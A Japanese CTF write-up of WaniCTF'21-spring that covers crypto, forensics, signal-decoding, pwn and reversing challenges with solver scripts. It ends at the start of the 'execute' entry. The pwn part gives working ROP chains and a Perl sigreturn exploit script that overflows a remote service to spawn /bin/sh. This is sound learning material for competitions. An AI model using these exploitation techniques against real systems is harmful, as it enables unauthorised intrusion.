0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF'21-spring writeup

Posted at

概要

WaniCTF'21-springに参加した。 (個人戦)
結果は6639点で、順位表に表示されている440人 (正の点数を取ったのは353人) 中10位だった。
ギリギリグラフを載せてもらえる圏内となり、めでたい。

スコアグラフ

スコアデータ
解けた問題の表

今回役立ったツール

ローカルで使うやつ

Web上のやつ

各問題について

Crypto

Simple conversion

大きな十進整数らしきものが1個書かれたoutput.txtと、Pythonのソースコードとconvert.pyが与えられた。
このoutput.txtの内容をPythonのインタラクティブでhex()関数に渡し、
得られた16進数をキーボードシミュレータでバイナリエディタに流し込むことで、flagが得られた。

FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

Easy

暗号化されたflagと考えられるoutput.txtと、Pythonのソースコードencrypt.pyが与えられる。
encrypt.pyから、これは適当な値aおよびbを用いて、各アルファベットのAからの位置を
(a * x + b) % 26という変換をしたものであることが読み取れる。

そこで、以下の手法で復元を行う。

  1. flagの先頭4文字がFLAGであることを利用して、aおよびbの値を全探索する。
    (mod 26 なので、0~25を探索すればよい)
  2. 得られたaおよびbを用いて、復号テーブルを作成する。
  3. このテーブルを用い、復号を行う。
attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

my $key = "FLAG";
my $target = "HLIM{OCLSAQCZASPYFZASRILLCVMC}";

my $a_ans = -1;
my $b_ans = -1;

my $key_len = length($key);
my $a_char = ord("A");
for (my $a = 0; $a < 26; $a++) {
	for (my $b = 0; $b < 26; $b++) {
		my $ok = 1;
		for (my $i = 0; $i < $key_len; $i++) {
			unless (chr(((ord(substr($key, $i, 1)) - $a_char) * $a + $b) % 26 + $a_char) eq substr($target, $i, 1)) {
				$ok = 0;
				last;
			}
		}
		if ($ok) {
			$a_ans = $a;
			$b_ans = $b;
			print "a = $a_ans, b = $b_ans\n";
		}
	}
}
if ($a_ans < 0) {
	die "not found\n";
}

my @table = ();
for (my $i = 0; $i < 26; $i++) {
	push(@table, -1);
}
for(my $i = 0; $i < 26; $i++) {
	$table[($i * $a_ans + $b_ans) % 26] = $i;
}

my $target_len = length($target);
for (my $i = 0; $i < $target_len; $i++) {
	my $idx = ord(substr($target, $i, 1)) - $a_char;
	if (0 <= $idx && $idx < @table) {
		print chr($table[$idx] + $a_char);
	} else {
		print substr($target, $i, 1);
	}
}

print "\n";
FLAG{WELCOMETOCRYPTOCHALLENGE}

Extra

4種類の整数が書かれたoutput.txtと、Pythonのソースコードencrypt.pyが与えられる。
特に、素数pqを用いたN = p * qM = 2 * p + qが与えられている。
これを用いると、(2 * p - q)**2 = M**2 - 8 * Nが計算でき、
平方根を計算することで2 * p - qの値がわかる。
すると、この値とMの値を用いて、pqの値がわかる。
さらに、
RSA暗号 - Wikipedia
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、拡張ユークリッドの互除法を用いてd * e + (-x) * (p-1)*(q-1) = 1を満たすdを求める。
最後に、c ** d mod Nを計算すると、これがflagを表す数値になっていた。

solve.py
solve.py
import sys

N = None
M = None
e = None
c = None

try:
	while True:
		name, value = sys.stdin.readline().rstrip().split(" = ")
		value = int(value)
		if name == "N":
			N = value
		elif name == "M":
			M = value
		elif name == "e":
			e = value
		elif name == "c":
			c = value
except:
	pass

def heihoukon(v):
	if v <= 0:
		return 0
	less = 0
	ge = v + 1
	while less + 1 < ge:
		m = less + ((ge - less) // 2)
		if m * m < v:
			less = m
		else:
			ge = m
	return ge

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
	if b == 0:
		return (1, 0)
	s, t = kago(b, a % b)
	return (t, s - (a // b) * t)

ppmq = heihoukon(M*M - 8*N)

p = (M + ppmq) // 4
q = (M - ppmq) // 2

print("p = " + str(p))
print("q = " + str(q))

toosyennto = (p - 1) * (q - 1)
d, mx = kago(e, toosyennto)

print("d = " + str(d))

ap = pow(c, d, N)

print("a' = " + hex(ap))

num = ap
result = ""
while num > 0:
	result = chr(num & 0xff) + result
	num >>= 8

print(result)
FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

Can't restore the flag?

サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.pyが与えられる。
server.pyは、整数を受け取り、それが300以下ならばflagを表す整数をその整数で割った値を出力するものである。

リアルタイムでやった、無駄に面倒くさい方法

素数表 (1~10000)
を参考に、2~300の素数を入力し、それに対する余りを集める。

中国剰余定理 (CRT) の解説と、それを用いる問題のまとめ - Qiita
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、中国剰余定理を用いてflagを求める。

solve.py
import sys

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
	if b == 0:
		return (1, 0)
	s, t = kago(b, a % b)
	return (t, s - (a // b) * t)

# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
	p, q = kago(m1, m2)
	return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)

# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
	b = 0
	m = 1
	for bb, mm in l:
		b = chuzyo(b, m, bb, mm)
		m *= mm
	return b

data = []

try:
	while True:
		a = int(sys.stdin.readline().rstrip().split(" > ")[1])
		b = int(sys.stdin.readline().rstrip())
		data.append((b, a))
except:
	pass

num = chuzyo2(data)
print(hex(num))

result = ""
while num > 0:
	result = chr(num & 0xff) + result
	num >>= 8

print(result)

整数の範囲は「300以下」であり、下限は無いため、負の大きい数を入力する。
server.pyより、flagは10 ** 103以下であるため、例えば

-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

を入力する。
入力した値を-a、それに対し出力された値を-bとして、a-bがflagを表す整数になっている。

FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

OUCS

サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.pyが与えられる。
また、問題文より

OUによるHomomorphicなCryptoSystemです

とのことで、Homomorphicをググると準同型暗号のことらしい。

server.pyは、

  • flagを暗号化した値の出力
  • 任意の値の暗号化
  • 任意の値の復号 (ただし復号結果がflagの場合は出力されない)
  • nghの値の出力

ができる。

server.pyにあったOkamotoUchiyamaCryptoSystemでググった結果、
Okamoto–Uchiyama cryptosystem - Wikipedia
がヒットし、これによればmの暗号化はあらかじめ決めたn, g, hを用いて、
gのm乗 × hの乱数乗 mod nを計算するようである。
従って、m1の暗号文とm2の暗号文の積 mod nが、m1+m2の暗号文になるはずである。

この性質を用い、flagの暗号化結果と1の暗号化結果の積 mod nを復号し、
1を引いて文字列に変換することで、flagが得られた。

decode.py
decode.py
val = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e

val -= 1

result = ""

while val > 0:
	result = chr(val & 0xff) + result
	val >>= 8

print(result)
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Forensics

presentation

ファイルpresentation.ppsxが与えられる。
LibreOfficeで開くと、FLAG{(青色の長方形)}と書かれた1ページのみがあるスライドショーが表示された。

まず、このファイルを7-Zipで展開する。
ppt/slides/slide1.xmlからFLAGを検索すると、

FLAG{<タグがいっぱい>you_know_how_to_edit_ppsx<タグがいっぱい>}

という部分が見つかった。
これからタグを消したものが正解のflagだった。

FLAG{you_know_how_to_edit_ppsx}

secure document

パスワード付きzipファイルのflag_20210428.zipと、謎のスクリプトpassword-generatorが与えられた。
また、問題文によると

本日の資料は以下を入力して圧縮しました。

the password for today is nani

とのことである。

このスクリプトを

  • ::なんとか:: : 「なんとか」が入力されたら以下の処理を行う
  • :*?:なんとか:: : 「なんとか」で終わるものが入力されたら、その前の文字列のキーを押し、以下の処理を行う
  • Send / SendInput : キーボード操作を行う
  • return : この「なんとか」に対する処理を終了する
  • FormatTime : 日付(zipファイルの名前から取得)を得る
  • +英小文字 : Shiftキー+その文字のキーを押す
  • ^英小文字 : Ctrlキー+その文字のキーを押す
  • その他 : 該当するキーを押す

と仮定して実行すると、

password: Wan1_20210428_C7F!na!

という結果が得られた。

Wan1_20210428_C7F!na! をzipファイルのパスワードとして展開すると、
flagが書かれた画像ファイルflag.jpgが得られた。

FLAG{Nani!very_strong_password!}

slow (解けず)

WAVファイルslow.wavが与えられる。
Audacityで見ると、周波数が変化する正弦波に近い信号のようである。
Audcityでスペクトルを見たり、振幅の変化を抽出してgnuplotでプロットしたりするなどしたら、
よくわからなかった。

parse.pl
parse.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
	die "Usage: ./parse.pl input_file\n";
}

my $input_file = $ARGV[0];

open(IN, "< $input_file") or die("failed to open $input_file\n");
binmode(IN);
my $data = "";
while (<IN>) { $data .= $_; }
close(IN);

my $len = length($data);
my $pnum = 0;
my $cnt = 0;
for (my $i = 0x2c; $i + 1 < $len; $i += 2) {
	my $num = unpack("s", substr($data, $i, 2));
	if ($pnum < 0 && $num >= 0) {
		print "$cnt\n";
		$cnt = 0;
	}
	$cnt++;
	$pnum = $num;
}

他の波形問題がMiscに入っているのに対し、この問題はForensics…?

illegal image

ファイルillegal_image.pcapが与えられた。

このファイルはWiresharkで読み込むことができ、パケットのデータが表示された。
最初のechoパケットを見ると、JPGファイルの先頭部分のようなものが見えた。

そこで、「複雑なことはしていない」、すなわち

  • JPGファイルのデータは順番通り流れている
  • JPGファイルのデータが入っているパケットのIPヘッダの長さ・Ethernetアドレス・IPアドレスは同じ
  • パケットのデータが変なところで分割されてない
  • 関係ないechoパケットは無い

と仮定し、pcapファイル中のechoパケットのデータからJPGファイルのデータを抽出するプログラムを書いた。

solve.pl
solve.pl
#!/user/bin/perl

use strict;
use warnings;

if (@ARGV < 2) {
	die "usage: solve.pl input_file output_file\n";
}

my $input_file = $ARGV[0];
my $output_file = $ARGV[1];

# destination (6 bytes), source (6 bytes), type (2 bytes, IPv4)
my $target_ethernet = "\x10\x7B\x44\x47\x9A\x26\x00\x28\xF8\x60\x69\x31\x08\x00";
# source (4 bytes), desitination (4 bytes)
my $target_ip = "\xC0\xA8\x00\x85\xC0\xA8\x00\x9E";

open(IN, "< $input_file") or die("failed to open $input_file\n");
open(OUT, "> $output_file") or die("fialed to open $output_file\n");
binmode(IN);
binmode(OUT);
my $input_data = "";
while (<IN>) { $input_data .= $_; }
close(IN);

my $start_pos = 0;
for (;;) {
	my $next_pos = index($input_data, $target_ethernet, $start_pos);
	if ($next_pos < 0) { last; }
	if (substr($input_data, $next_pos + 0x1A, 8) eq $target_ip) {
		my $total_length = unpack("n", substr($input_data, $next_pos + 0x10, 2));
		my $protocol = unpack("C", substr($input_data, $next_pos + 0x17, 1));
		my $type = unpack("C", substr($input_data, $next_pos + 0x22, 1));
		if ($protocol == 0x01 && $type == 0x08) {
			print OUT substr($input_data, $next_pos + 0x2A, $total_length - 0x1C);
		}
	}
	$start_pos = $next_pos + 1;
}

close(OUT);

このJPGファイルにflagが書かれていた。

FLAG{ICMP_Exfiltrate_image}

MixedUSB

ファイルMixedUSB.imgが与えられた。
TSXBINで開き、Shift_JISのテキストFLAGを検索すると、2番目にflagが見つかった。

FLAG{mixed_file_allocation_table}

Mixc

binary

0や1がたくさん書かれたテキストファイルbinary.csvと、Pythonのソースコードsample.pyが与えられた。

このbinary.csvは、1バイトを8ビット(8行)で、上位から下位の順に表しているようである。
これを読み取ってバイト列に変換するプログラムを書いた。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $val = 0;
my $pos = 0;

while (my $line = <STDIN>) {
	$val |= int($line) << (7  - $pos);
	$pos++;
	if ($pos >= 8) {
		printf("%c", $val);
		$pos = 0;
		$val = 0;
	}
}
print "\n";
FLAG{the_basic_knowledge_of_communication}

Git Master

Docker HubのURLと、Dockerfileが与えられた。

Dockerが無いとアクセスは難しそうなので、まずはDockerをインストールすることにした。
Get StartedからDocker Desktopのインストーラをダウンロードし、実行した。
インストーラの実行が完了するとログオフを要求されたので、一応再起動した。

すると、以下の画面が出てきた。
Dockerインストール中の画面1
書かれている通り、管理者モードで実行したPowerShellに、書かれているおまじないをコピペし、実行した。
すると再起動を要求されたので、また再起動した。

すると、今度は以下の画面が出てきた。
Dockerインストール中の画面2
リンク先の
Windows 10 に WSL をインストールする | Microsoft Docs
にアクセスし、「x64 マシン用 WSL2 Linux カーネル更新プログラム パッケージ」をダウンロード・インストールした。
他の手順は実行しなくていいようだった。
そして、書かれている通りRestartボタンを押した。これはOSの再起動ではなく、Dockerのシステムの再起動のようだ。

これでDockerのインストールができたので、Docker Desktopを起動し(起動しておかないとエラーになるようだ)、
Docker Hubに書かれているDocker Pull Commandとかいうおまじない

docker pull wanictf21spring/nginx_on_ubuntu

を普通のコマンド プロンプトで実行する。

DockerFileでDockerイメージを作成してみる | infoScoop開発者ブログ
を参考に、コマンド

docker images

を実行すると、それっぽい名前が見える。
なお、与えられたDockerfileを用いた

docker build .

は、あまり役立たなそうだった。

ここで得られた名前と、Docker Desktopの画面に出ていたおまじないを組み合わせたコマンド

docker run -d -p 80:80 wanictf21spring/nginx_on_ubuntu

を実行する。すると、Webブラウザでhttp://localhost/にアクセスできるようになる。
また、Docker DesktopのContainers / Appsにそれっぽい項目が出てくる。
この項目のCLIボタンを押すと、シェルにアクセスできる。

このシェルを用いて調査をすると、/var/wwwディレクトリに.gitディレクトリがあった。
しかし、このシェルでgitコマンドは使えないようである。 (apt-getはできるが、コストが高そうだった)
そこで、/var/wwwtarでアーカイブし、/var/www/html/ ディレクトリに入れ、Webブラウザから回収した。

回収したアーカイブを展開し、git reflogをしたところ、Flag.txtを含む行が数行出てきた。
そこで、git diff (左端にあるID)コマンドを用いてデータを表示し、
出てきたFlag.txt関係のデータをそれっぽく組み合わせることで、flagが得られた。

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

ASK

0や1がたくさん書かれたテキストファイルask.csvが与えられた。

とりあえず問題文の「Amplitude Shift Keying」でググったところ、AMっぽい表現方法のようである。

ask.csvに対しRLE (Run-Length Encoding)をかけたところ、0や1が連続する個数は31の倍数になっているようだった。

rle.pl
rle.pl
#!/usr/bin/perl

use strict;
use warnings;

my $prev = 0;
my $first = 1;
my $count = 0;

while (my $line = <STDIN>) {
	chomp($line);
	if ($first) {
		$count = 1;
		$prev = $line;
		$first = 0;
	} elsif ($prev eq $line) {
		$count++;
	} else {
		print "$prev\t$count\n";
		$count = 1;
		$prev = $line;
	}
}
unless ($first) {
	print "$prev\t$count\n";
}

その結果を観察すると、先頭から少し飛ばしたところにFLAGの、最後に}の0/1パターンが見えた。
そこで、31個の0/1を1個にする変換をかけ、それを問題binaryで使ったsolve.plにかけた。

decode.pl (RLEの結果からsolve.pl用の0/1列に変換するプログラム)
decode.pl
#!/usr/bin/perl

use strict;
use warnings;

my $skip = 38;
my $block = 31;

my $count = 1;

while (my $line = <STDIN>) {
	if ($count > $skip) {
		chomp($line);
		my ($data, $num) = split(/\s+/, $line);
		if ($num % $block != 0) {
			warn sprintf("line %d : %d %% %d = %d\n", $count, $num, $block, $num % $block);
		}
		my $pnum = int($num / $block);
		for (my $i = 0; $i < $pnum; $i++) {
			print "$data\n";
		}
	}
	$count++;
}

その結果、ゴミも多いが、先頭にflagのようなものが出た。
そこで、それを送信したところ、正解になった。
これはAMのデコード方法ではないはずだが…まあ通ったのでヨシ?

FLAG{als0-k0own-4s-0n-0ff-key1ng}

Automaton Lab.

  • サーバーの接続情報
  • Rule 30 - Wikipedia へのリンク
  • サーバーで動いていると推測できるPythonのソースコードautomaton-lab.py

が与えられた。
サーバーに接続すると、以下のような出力がされた。

Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30

For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation      state
0               100000100000001
1               010001110000011
2               011011001000110

We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)

どうやら、15ビットのセルオートマトンの、指定された世代後の状態を答えればいいらしい。
状態が15ビットしかないので、典型的なループものだろう。
出た状態を記録し、前に出た状態に戻ったらオフセットと周期を求めて指定の世代の状態を計算すればよい。
automaton-lab.pyより、3問しか無いようなので、ソルバのプログラムだけ書いて、通信は手動でいいだろう。

solve.py
solve.py
import sys

pat = sys.stdin.readline().rstrip()
gen = int(sys.stdin.readline().rstrip())

rule = {
	"111" : "0",
	"110" : "0",
	"101" : "0",
	"100" : "1",
	"011" : "1",
	"010" : "1",
	"001" : "1",
	"000" : "0"
}

visited = {pat : 0}
data = [pat]

curGen = 0

while curGen < gen:
	patTmp = pat[-1] + pat + pat[0]
	nextPat = ""
	for i in range(1, len(patTmp) - 1):
		nextPat += rule[patTmp[i-1:i+2]]
	pat = nextPat
	curGen += 1
	if pat in visited:
		syuki = curGen - visited[pat]
		offset = visited[pat]
		pat = data[(gen - curGen) % syuki + offset]
		break
	else:
		visited[pat] = curGen
		data.append(pat)

print(pat)
FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}

Manchester

0や1がたくさん書かれたテキストファイルmanchester.csvが与えられた。

問題文の「Manchester Encoding」でググった結果、信号レベルの変化でデータの0/1を表す形式のようである。
マンチェスタ符号 - Wikipedia

問題ASKと同様に、31個の0/1を1個の0/1に変換し、それっぽい場所からデコードを行った。
デコードは、01を0、10を1に変換し、0011が出たら終わりとした。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $offset = @ARGV < 1 ? 0 : int($ARGV[0]);
my $invert = @ARGV < 2 ? 0 : int($ARGV[1]);

my $dummy = <STDIN>;

for (my $count = 2; ; $count += 2) {
	my $a = <STDIN>;
	my $b = <STDIN>;
	unless ($a && $b) { last; }
	chomp($a);
	chomp($b);
	my $decode = 0;
	if ($a eq "0" && $b eq "1") {
		$decode = 0;
	} elsif ($a eq "1" && $b eq "0") {
		$decode = 1;
	} else {
		warn "error at line $count\n";
		last;
	}
	if ($offset > 0) {
		$offset--;
	} else {
		printf("%d\n", $invert ? 1 - $decode : $decode);
	}
}

このデコード結果を問題binaryのbinary.csvと見比べ、データの先頭のパターンを合わせた。
そして問題binaryと同様の変換をすることで、flagが得られた。

FLAG{avoiding-consective-ones-and-zeros}

Pwn

01 netcat

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn01pwn01.cが与えられた。
pwn01.cは、無条件でsystem("/bin/sh");の実行に直行するようになっている。

言われた通りlsを入力すると、flag.txtがあるようなので、cat flag.txtで出力する。

FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn02pwn02.cが与えられた。
pwn02.cを見ると、malloc()で確保した領域にデータを読み込んだり、
それをfree()で開放したりできるようになっている。
さらに、__free_hook = system;という怪しい行がある。

領域に/bin/shを読み込ませ、それを開放すると、表示が止まった。
なお、Tera Termにおいては直接入力すると1文字だけで入力を打ち切られてしまうことがあるので、
一度に複数文字を入力したい時はコピペをすると吉である。
そこで、lsを入力するとflag.txtがあることを示す表示が出たので、cat flag.txtを入力するとflagが出力された。

問題文には

free_hookの仕組みを理解する必要があります。

とあるが、別に仕組みを理解しなくてもなんとなくやったらできた。

FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn03pwn03.cが与えられた。
今回のプログラムは、いくつかのパーツをバッファに並べ、実行できるようである。
また、問題文より、

ropでsystem("/bin/sh")を実行して下さい。

とのことである。

スタックにsystemのアドレス→/bin/shのアドレス、の順で積み、
pop rdi; retを実行すると、/bin/shのアドレスがrdiに入り、systemが実行されるはずである。

そこで、この順でバッファに入れ、実行したが、Segmentation Faultになった。

     rop_arena
+--------------------+
| system             |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret       |
+--------------------+

アラインメントが悪い可能性があると考え、
systemのアドレスをもう1個入れてみたが、これもSegmentation Faultになった。

     rop_arena
+--------------------+
| system             |<- rop start
+--------------------+
| system             |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret       |
+--------------------+

そこで、バッファに入れるのを逆順にしたところ、コマンドが実行できる状態になった。

     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn04pwn04.cが与えられた。
今回のプログラムも、いくつかのパーツをバッファに並べ、実行できるようである。

使えるパーツは、

  • 任意の値
  • pop rdi; retのアドレス
  • pop rsi; retのアドレス
  • pop rdx; retのアドレス
  • pop rax; retのアドレス
  • syscall; retのアドレス

である。また、問題文より、

ropでexecve("/bin/sh", 0, 0)を実行して下さい。

execveのsyscall番号は0x3bです。

とのことである。

pop hoge; ret は、

  1. 実行される際、スタックからpop hoge; ret 自身が取り除かれる
  2. スタックから値を取り除き、hogeに入れる
  3. スタックの次の値の場所へ実行を移す

という動作をする。さらに、
Syscall Number for x86-64 linux (A)
より、

  • rax にsyscall番号
  • rdi に第1引数
  • rsi に第2引数
  • rdx に第3引数

を入れ、syscallを実行すればいいようである。

これを踏まえ、以下のようにバッファを構築し、実行することで、コマンドを実行できる状態になった。

     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn05pwn05.cが与えられた。
今回のプログラムは、いくつかの値をバッファに並べ、実行できるようである。
前の2問と違って選択できるパーツが無いため、パーツとして使う値を自分で求めることが要求される。

おそらく、問題 04 rop machine normal と同様に、execve("/bin/sh", 0, 0)を実行すればよいだろう。
パーツの選択肢にはなっていないものの、

  • pop rdi; ret
  • pop rdx; ret
  • pop rax; ret
  • syscall; ret

は埋め込まれ、TDM-GCCのobjdumpによる逆アセンブルによってアドレスを求めることができる。

また、"/bin/sh"についても埋め込まれており、バイナリエディタでの表示からアドレスを予想することができる。

しかし、pop rsi; retは明示的に埋め込まれておらず、逆アセンブル結果にも含まれていない。
pop %rsiは逆アセンブル結果にあり、これはバイト0x5eに対応することがわかる。
そこで、逆アセンブル結果から0x5eを探すと、

  401610:	41 5e                	pop    %r14
  401612:	41 5f                	pop    %r15
  401614:	c3                   	retq   

という場所に含まれていることがわかった。
ここでは、0x5eretの間に余計なpopが1個余計に挟まっているだけなので、
これに食わせる余計な値を足してあげればpop rsi; retのかわりに使えそうである。

まとめると、以下の順でバッファに入れ、実行することで、コマンドが実行できる状態になった。

0x4012a9 (pop rax; ret)
0x3b
0x40128f (pop rdi; ret)
0x404078 ("/bin/sh")
0x401611 (pop rsi; pop r15; ret)
0x0
0x0
0x40129c (pop rdx; ret)
0x0
0x4012b6 (syscall; ret)

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn06pwn06.c
そしてPythonのソースコードhow_to_use_pwntools.pyが与えられた。
プログラムは、ローカル変数のアドレスを出力した後、
バッファオーバーフローしうる形でそこにデータを読み込むものである。
問題文には、

sigreturnを用いたROPでシェルを実行してください。

と書かれている。

ヒントとして提示されているsigcontext.hの情報をもとに、
各レジスタにexecve("/bin/sh", 0, 0)を実行する用の適切な値をセットする。
今回は"/bin/sh"は用意されていないようなので、入力に含めて書き込む。

そして、TDM-GCCのobjdumpによる逆アセンブル結果を参照し、
わざわざ用意してあるmov $0xf,%rax; retのアドレスをリターンアドレスに、
syscall; retのアドレスをスタックのその次の場所になるように配置する。

さらに、
x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー
を参照し、syscall; retのアドレスとレジスタ用の値群の間に8×5バイトのスペースを加える。

これをプログラムで送信したところ、コマンドを実行することができ、
cat flag.txtコマンドによりflagが得られた。

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"srop.pwn.wanictf.org",
		PeerPort=>9006, Proto=>"tcp");
if (!$sock) {
	die "socket error\n";
}

my $first = <$sock>;
my $second = <$sock>;

unless ($first =~ /buff : (.*)/) { die "buff get error\n"; }
my $buff = hex(substr($1, 2));

my @data = (
	0x40118c, # set_rax
	0x40117e, # call_syscall

	0, 0, 0, 0, 0, # magic

	0, 0, 0, 0, 0, 0, 0, 0, # r8 - r15
	$buff, # rdi
	0, # rsi
	0, 0, #rbp, rbx
	0, # rdx
	0x3b, # rax
	0, # rcx
	$buff + 8, # rsp
	0x40117e, # rip
	0, # eflags
	0x33, # cs, gs, fs, ss
	0, 0, 0, 0, 0, # err, trapno, oldmask, cr2, fpstate
	0, 0, 0, 0, 0, 0, 0, 0 # reserved1
);

my $data2 = "/bin/sh\0";

my $tosend = $data2 . ("a" x (0x40 - length($data2)));
$tosend .= "-" x 8;
for (my $i = 0; $i < @data; $i++) {
	$tosend .= pack("Q", $data[$i]);
}
print $sock $tosend;
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
while (<$sock>) { print $_; }

close($sock);

実行すると

Hexadecimal number > 0xffffffff non-portable

という警告が出るが、動いたのでヨシ!

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn07pwn07.c
そしてダミーテキストのファイルFLAGが与えられた。
プログラムはハノイの塔をやるものである。
main()関数内の変数solved_flagの値を1にすることで、ループを抜けてflagを出力させることができそうである。

move_hanoi()関数内の範囲チェックが甘く(ご丁寧にその場所に// ???というコメントがついている)、
1個と2個前の「棒」へのアクセスが可能である。
さらに、開始時になぜか名前の入力を求められる。

TDM-GCCのobjdumpで逆アセンブルして観察すると、
この名前の入力先がそれぞれの棒にある円盤の個数を管理する配列rod_pivotの直前にあり、
1個前の「棒」をいじる時に使えそうである。
さらに、変数solved_flag-0x4(%rbp)に、
それぞれの棒にある円盤を管理する配列rod-0x1a0(%rbp)にあるようである。
この配列は1行に4バイトの値が32個ある2次元配列なので、
変数solved_flagは、この-1番目の行の0x87番目の要素(0-origin)にあたる。
((-0x4 - (-0x1a0 - 4 * 32)) >> 2 = 0x87)

そこで、名前として入力する値を工夫し、
-1番目(0-origin)の棒への移動によって1がsolved_flagに書き込まれるようにする。

具体的には、まずTCP/IPテストツールで、名前として

0123456789ab<87><00><00><00>

を送信する。(「送信データのバイナリ変換」を有効にしておく)
次に、0番目の棒の一番上にある1を-1番目に移動させるため、

A@

を送信する。
すると、flagが出力される。

FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker (解けず)

サーバーの接続情報と、
そこで動いていると考えられるプログラムld-2.31.solibc-2.31.sopwn08pwn08.cが与えられた。
libcが与えられる問題はよくあるが、ldまであるということは、きっとかなり本格的な問題なのだろう。 (?)

pwn08.cを読むと、

  • ナル終端していないデータをatol()に渡している
  • srand(time(0));を何度も実行している
  • malloc()の戻り値がNULLかをチェックせずに次の処理に使っている
  • ceiling()関数内で指定している書き換えるガチャ履歴の有効範囲が後ろに1多い
  • メニューの選択によってfree_list()を呼んだ後、iをリセットしていない
  • 履歴がいっぱいになった結果free_list()を呼んだ後、gacha_countを一部しかリセットしていない

という問題があることはわかったが、具体的にどう使うかは考えられなかった。

Reversing

secret

ELFファイルsecretが与えられた。

TDM-GCCのobjdumpで逆アセンブルした結果、main関数は

  1. 配列に謎の値を格納する
  2. show_description関数を呼ぶ
  3. printf関数でプロンプトを出力する
  4. scanf関数で文字列を読み込む
  5. strlen関数で読み込んだ文字列の長さをチェックする
  6. strncmp関数で読み込んだ文字列がwani_is_the_coolest_animals_in_the_world!かをチェックする
  7. ループで文字列の加工を行う
  8. printf関数で加工した結果を出力する

という処理をしているようである。
また、ループの部分の処理をC言語で表すと

int magic[] = { /* ... */ };
int i;
char input[128], output[128];

for (i = 0; i <= 0x28; i++) {
	/* 1462 */
	int edx = (unsigned char)input[i];
	/* 1470 */
	int eax = magic[i];
	/* 147b */
	int ecx = edx ^ eax;
	/* 147f */
	output[i] = ecx;
}

という感じになっているようである。
これらに基づき、以下のプログラムでflagを求めた。

solve.py
solve.py
magic = [
	0x31, 0x2d, 0x2f, 0x2e, 0x24, 0x8 , 0x1d, 0x3e,
	0x45, 0x11, 0x1f, 0x3a, 0x3c, 0x5b, 0x1 , 0x8,
	0x3a, 0x0 , 0x0 , 0x2d,  0x8, 0x0 , 0x5f, 0x1e,
	0x3e, 0xd , 0x1d, 0x3b, 0x36, 0xb , 0x27, 0x11,
	0xb , 0x10, 0x68, 0x12, 0x30, 0x44, 0x5 , 0xa,
	0x5c
]

message = "wani_is_the_coolest_animals_in_the_world!"

result = ""

for i in range(len(magic)):
	result += chr(ord(message[i]) ^ magic[i])

print(result)
FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

ファイル群

  • libprint.so
  • main.s
  • Makefile
  • version.txt

が与えられた。

